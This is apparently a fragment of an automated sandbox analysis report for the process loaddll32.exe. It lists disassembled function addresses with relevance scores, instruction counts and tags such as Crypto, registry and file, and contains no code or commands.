Analysis Process: loaddll32.exe PID: 7024 Parent PID: 5804

General

Function 003A2213, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 169
memoryCOMMON

Function 728B07CC, Relevance: 5.1, APIs: 3, Instructions: 628
COMMONCrypto

Function 728A1494, Relevance: 1.9, Strings: 1, Instructions: 613
COMMONCrypto

Function 728B218C, Relevance: 1.5, APIs: 1, Instructions: 30
nativeCOMMON

Function 728B2790, Relevance: 1.5, APIs: 1, Instructions: 29
memorynativeCOMMON

Function 728B3060, Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Function 025E2213, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 169
memoryCOMMON

Function 728B1140, Relevance: 3.1, APIs: 2, Instructions: 91
COMMON

Function 728B5720, Relevance: 3.1, APIs: 2, Instructions: 74
registryCOMMON

Function 728B5AA8, Relevance: 1.6, APIs: 1, Instructions: 123
COMMON

Function 728B5B51, Relevance: 1.6, APIs: 1, Instructions: 63
fileCOMMON

Function 728B5B29, Relevance: 1.6, APIs: 1, Instructions: 57
fileCOMMON

Function 728B5B3D, Relevance: 1.6, APIs: 1, Instructions: 56
fileCOMMON

Function 728B5B1F, Relevance: 1.6, APIs: 1, Instructions: 52
fileCOMMON

Function 728B5B6D, Relevance: 1.6, APIs: 1, Instructions: 51
fileCOMMON

Function 728B5D7C, Relevance: 1.5, APIs: 1, Instructions: 49
COMMON

Function 728B10CC, Relevance: 1.5, APIs: 1, Instructions: 45
COMMON

Function 728B55B8, Relevance: 1.5, APIs: 1, Instructions: 45
registryCOMMON

Function 728B5DF0, Relevance: 1.5, APIs: 1, Instructions: 45
fileCOMMON

Function 728B3564, Relevance: 1.5, APIs: 1, Instructions: 42
memoryCOMMON

Function 728A9144, Relevance: 2.4, Strings: 1, Instructions: 1104
COMMONCrypto

Function 728AA5A4, Relevance: 1.8, Strings: 1, Instructions: 537
COMMONCrypto

Function 728B92DC, Relevance: 1.8, Strings: 1, Instructions: 529
COMMONCrypto

Function 728A84E4, Relevance: 1.8, Strings: 1, Instructions: 529
COMMONCrypto

Function 728B14D8, Relevance: .6, Instructions: 572
COMMONCrypto

Function 728A6DC8, Relevance: .0, Instructions: 36
COMMON

Function 728ABC00, Relevance: .0, Instructions: 16
COMMON